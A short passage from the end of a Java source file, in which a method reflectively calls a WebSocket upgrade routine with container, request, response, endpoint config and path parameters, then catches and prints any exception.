                        m.invoke(container, request, response, serverEndpointConfig, pathParams);
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

}
